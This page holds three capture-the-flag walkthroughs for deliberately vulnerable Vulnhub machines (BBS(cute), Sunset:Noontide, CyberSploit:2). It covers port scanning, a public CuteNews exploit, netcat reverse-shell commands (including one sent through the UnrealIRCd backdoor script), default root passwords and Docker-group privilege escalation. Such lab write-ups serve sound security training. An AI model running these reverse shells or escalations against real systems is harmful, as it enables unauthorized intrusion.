BBS(cute):1.0.1 - Walkthrough [Vulnhub]

Here's my solution for BBS(cute):1.0.1.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
$ nmap -sC -sV -p- 192.168.1.111


We find 5 ports open.

Enumeration
Browsing the web hosted on port 80 (Default HTTP Port).


We do not find any useful information lets run the dirb for scanning directories.
$ dirb http://192.168.1.111 -r


Browsing /index.php

We see that it is built on CMS- CuteNews and its version 2.1.2
We search for the exploit and found it here.


 
Lets get this exploit.

Getting Access
But before running the exploit we need to make some changes.
We remove all /CuteNews from the exploit code, in order to run it successfully.


Done with the changes, now we run the exploit.
$ python3 48800.py

We provide the required information that is, the URL and hit enter.

The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell.

We see netcat is present, we enter the payload.
$ nc -e /bin/bash 192.168.1.105 8080
And on the other hand we start the netcat listener on port 8080.
$ nc -lnvp 8080



We successfully get the reverse shell.

User Flag.


Privilege Escalation
We check for sudo permission.
$ sudo -l


Lets run it as user- root and get the Root Flag.

Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root

Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag
